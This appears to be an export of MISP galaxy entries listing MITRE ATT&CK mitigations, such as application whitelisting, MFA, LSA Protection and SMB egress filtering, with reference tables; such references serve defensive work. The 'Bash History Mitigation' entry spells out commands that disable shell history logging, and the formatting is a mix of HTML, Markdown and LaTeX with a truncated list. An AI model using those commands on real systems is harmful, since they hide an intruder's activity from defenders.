<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1114">https://attack.mitre.org/mitigations/T1114</a></td>
</tr>
</tbody>
</table>

Input Prompt Mitigation - T1141

This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).

The tag is: misp-galaxy:mitre-course-of-action="Input Prompt Mitigation - T1141"

Table 6160. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1141">https://attack.mitre.org/mitigations/T1141</a></td>
</tr>
</tbody>
</table>

Clipboard Data Mitigation - T1115

Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting.
Tools, like AppLocker, or Software Restriction Policies where appropriate.

The tag is: *misp-galaxy:mitre-course-of-action="Clipboard Data Mitigation - T1115"

### LC_LOAD_DYLIB Addition Mitigation - T1161

Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.

The tag is: *misp-galaxy:mitre-course-of-action="LC_LOAD_DYLIB Addition Mitigation - T1161"

### Code Signing Mitigation - T1116

Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)

The tag is: *misp-galaxy:mitre-course-of-action="Code Signing Mitigation - T1116"
Automated Collection Mitigation - T1119

Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Automated Collection Mitigation - T1119"

Table 6164. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-white-listing-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-white-listing-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1119">https://attack.mitre.org/mitigations/T1119</a></td>
</tr>
</tbody>
</table>

Template Injection Mitigation - T1221

Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing.
malicious payloads. (Citation: Anomali Template Injection MAR 2018)

The tag is: `misp-galaxy:mitre-course-of-action="Template Injection Mitigation - T1221"`

**Table 6165. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1221">https://attack.mitre.org/mitigations/T1221</a></td>
</tr>
<tr>
<td><a href="https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6">https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6</a></td>
</tr>
</tbody>
</table>

**Audio Capture Mitigation - T1123**

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-course-of-action="Audio Capture Mitigation - T1123"`

**Table 6166. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1123">https://attack.mitre.org/mitigations/T1123</a></td>
</tr>
</tbody>
</table>

**Data Encoding Mitigation - T1132**

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Video Capture Mitigation - T1125

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Login Item Mitigation - T1162

Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).
Domain Fronting Mitigation - T1172

If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.

In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.

The tag is: `misp-galaxy:mitre-course-of-action="Domain Fronting Mitigation - T1172"`

Table 6170. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016">http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1172">https://attack.mitre.org/mitigations/T1172</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html">https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html</a></td>
</tr>
</tbody>
</table>

AppCert DLLs Mitigation - T1182

Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: `misp-galaxy:mitre-course-of-action="AppCert DLLs Mitigation - T1182"`

Table 6171. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1182">https://attack.mitre.org/mitigations/T1182</a></td>
</tr>
</tbody>
</table>

Spearphishing Link Mitigation - T1192

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
Hidden Window Mitigation - T1143

Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.

Create Account Mitigation - T1136

Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

Application Shimming Mitigation - T1138

There currently aren’t a lot of ways to mitigate application shimming. Disabling the Shim Engine isn’t recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.
Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: misp-galaxy:mitre-course-of-action="Application Shimming Mitigation - T1138"

Spearphishing Attachment Mitigation - T1193

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: misp-galaxy:mitre-course-of-action="Spearphishing Attachment Mitigation - T1193"

Bash History Mitigation - T1139

There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands: `<code>set +o history</code>` and `<code>set -o history</code>` to start logging again; `<code>unset HISTFILE</code>` being added to a user's .bash_rc file; and `<code>ln -s /dev/null ~/.bash_history</code>` to write commands to `<code>/dev/null</code>` instead.

The tag is: misp-galaxy:mitre-course-of-action="Bash History Mitigation - T1139"
Gatekeeper Bypass Mitigation - T1144

Other tools should be used to supplement Gatekeeper’s functionality. Additionally, system settings can prevent applications from running that haven’t been downloaded through the Apple Store which can help mitigate some of these issues.

The tag is: misp-galaxy:mitre-course-of-action="Gatekeeper Bypass Mitigation - T1144"

Table 6178. Table References
Links
https://attack.mitre.org/mitigations/T1144

Private Keys Mitigation - T1145

Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: misp-galaxy:mitre-course-of-action="Private Keys Mitigation - T1145"

Table 6179. Table References
Links
https://attack.mitre.org/mitigations/T1145

Hidden Users Mitigation - T1147

If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the `<code>/Library/Preferences/com.apple.loginwindow</code>` `<code>Hide500Users</code>` value will force all users to be visible.

The tag is: misp-galaxy:mitre-course-of-action="Hidden Users Mitigation - T1147"

Table 6180. Table References
Links
https://attack.mitre.org/mitigations/T1147

SSH Hijacking Mitigation - T1184

Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in
locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)

The tag is: \textit{misp-galaxy:mitre-course-of-action=“SSH Hijacking Mitigation - T1184”}

\textit{Table 6181. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1184">https://attack.mitre.org/mitigations/T1184</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/articles/ssh-and-ssh-agent">https://www.symantec.com/connect/articles/ssh-and-ssh-agent</a></td>
</tr>
</tbody>
</table>

\textbf{LC\_MAIN Hijacking Mitigation - T1149}

Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.

The tag is: \textit{misp-galaxy:mitre-course-of-action=“LC\_MAIN Hijacking Mitigation - T1149”}

\textit{Table 6182. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1149">https://attack.mitre.org/mitigations/T1149</a></td>
</tr>
</tbody>
</table>

\textbf{Startup Items Mitigation - T1165}

Since StartupItems are deprecated, preventing all users from writing to the \texttt{/Library/StartupItems} directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.

The tag is: \textit{misp-galaxy:mitre-course-of-action=“Startup Items Mitigation - T1165”}

\textit{Table 6183. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1165">https://attack.mitre.org/mitigations/T1165</a></td>
</tr>
</tbody>
</table>

\textbf{Dylib Hijacking Mitigation - T1157}

Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can’t write to these directories, then they can’t intercept the search path.

The tag is: \textit{misp-galaxy:mitre-course-of-action=“Dylib Hijacking Mitigation - T1157”}
Launch Agent Mitigation - T1159

Restrict user’s abilities to create Launch Agents with group policy.

The tag is: `misp-galaxy:mitre-course-of-action="Launch Agent Mitigation - T1159"`

Browser Extensions Mitigation - T1176

Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.

Browser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)

Change settings to prevent the browser from installing extensions without sufficient permissions.

Close out all browser sessions when finished using them.

The tag is: `misp-galaxy:mitre-course-of-action="Browser Extensions Mitigation - T1176"`

Process Doppelgänging Mitigation - T1186

This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänging may be used to evade certain types of defenses, it is still good
practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Process Doppelgänging Mitigation - T1186"*

**Table 6187. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1186">https://attack.mitre.org/mitigations/T1186</a></td>
</tr>
</tbody>
</table>

**LSASS Driver Mitigation - T1177**

On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key `<code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>` to `<code>dword:00000001</code>`. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.

On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)

Ensure safe DLL search mode is enabled `<code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode</code>` to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)

The tag is: *misp-galaxy:mitre-course-of-action="LSASS Driver Mitigation - T1177"*

**Table 6188. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1177">https://attack.mitre.org/mitigations/T1177</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works">https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage">https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage</a></td>
</tr>
</tbody>
</table>
**Forced Authentication Mitigation - T1187**

Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)

For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.

The tag is: *misp-galaxy:mitre-course-of-action=*"Forced Authentication Mitigation - T1187"

**Table 6189. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1187">https://attack.mitre.org/mitigations/T1187</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-293A">https://www.us-cert.gov/ncas/alerts/TA17-293A</a></td>
</tr>
</tbody>
</table>

**BITS Jobs Mitigation - T1197**

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)

Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.

Consider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)

Consider reducing the default BITS job lifetime in Group Policy or by editing the `<code>JobInactivityTimeout</code>` and `<code>MaxDownloadTime</code>` Registry values in `<code>HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS</code>`. (Citation: Microsoft BITS)

The tag is: *misp-galaxy:mitre-course-of-action=*"BITS Jobs Mitigation - T1197"

**Table 6190. Table References**
Trusted Relationship Mitigation - T1199

Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.

The tag is: `misp-galaxy:mitre-course-of-action="Trusted Relationship Mitigation - T1199"

Table 6191. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1199">https://attack.mitre.org/mitigations/T1199</a></td>
</tr>
</tbody>
</table>

Firmware Corruption Mitigation - T1495

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.

The tag is: `misp-galaxy:mitre-course-of-action="Firmware Corruption Mitigation - T1495"

Table 6192. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1495">https://attack.mitre.org/mitigations/T1495</a></td>
</tr>
</tbody>
</table>

Resource Hijacking Mitigation - T1496

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-course-of-action="Resource Hijacking Mitigation - T1496"

Table 6193. Table References
Data Destruction Mitigation - T1488

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data Destruction Mitigation - T1488"

Table 6194. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1496">https://attack.mitre.org/mitigations/T1496</a></td>
</tr>
</tbody>
</table>

Service Stop Mitigation - T1489

Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate
intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.

The tag is: misp-galaxy:mitre-course-of-action="Service Stop Mitigation - T1489"

Table 6195. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1489">https://attack.mitre.org/mitigations/T1489</a></td>
</tr>
</tbody>
</table>

**Multi-factor Authentication - M1032**

Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.

The tag is: misp-galaxy:mitre-course-of-action="Multi-factor Authentication - M1032"

View relationships graph

Multi-factor Authentication - M1032 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-language:likelihood-probability="almost-certain"
T1599.001" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Hybrid Identity - T1556.007" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Services - T1021.007" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-
Limit privileges of user accounts so only authorized users can edit the rc.common file.

The tag is: `misp-galaxy:mitre-course-of-action="Rc.common Mitigation - T1163"`

**SSL/TLS Inspection - M1020**

Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.

The tag is: `misp-galaxy:mitre-course-of-action="SSL/TLS Inspection - M1020"`
SSL/TLS Inspection - M1020 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"

Table 6198. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1020">https://attack.mitre.org/mitigations/M1020</a></td>
</tr>
</tbody>
</table>

Regsvcs/Regasm Mitigation - T1121

Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="Regsvcs/Regasm Mitigation - T1121"

Table 6199. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1121">https://attack.mitre.org/mitigations/T1121</a></td>
</tr>
</tbody>
</table>

Security Updates - M1001

Install security updates in response to discovered vulnerabilities.

Purchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.

Decommission devices that will no longer receive security updates.

Limit or block access to enterprise resources from devices that have not installed recent security updates.

On Android devices, access can be controlled based on each device's security patch level. On iOS devices, access can be controlled based on the iOS version.

The tag is: misp-galaxy:mitre-course-of-action="Security Updates - M1001"
Security Updates - M1001 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1630" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1398" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1658" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1458" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1634.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1474.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Password Store - T1634" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Drive-By Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 6200. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1001">https://attack.mitre.org/mitigations/M1001</a></td>
</tr>
</tbody>
</table>
Lock Bootloader - M1003

On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.

The tag is: `misp-galaxy:mitre-course-of-action="Lock Bootloader - M1003"`

View relationships graph

Lock Bootloader - M1003 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1398"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1458"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 6201. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1003">https://attack.mitre.org/mitigations/M1003</a></td>
</tr>
</tbody>
</table>

Network Segmentation - M1030

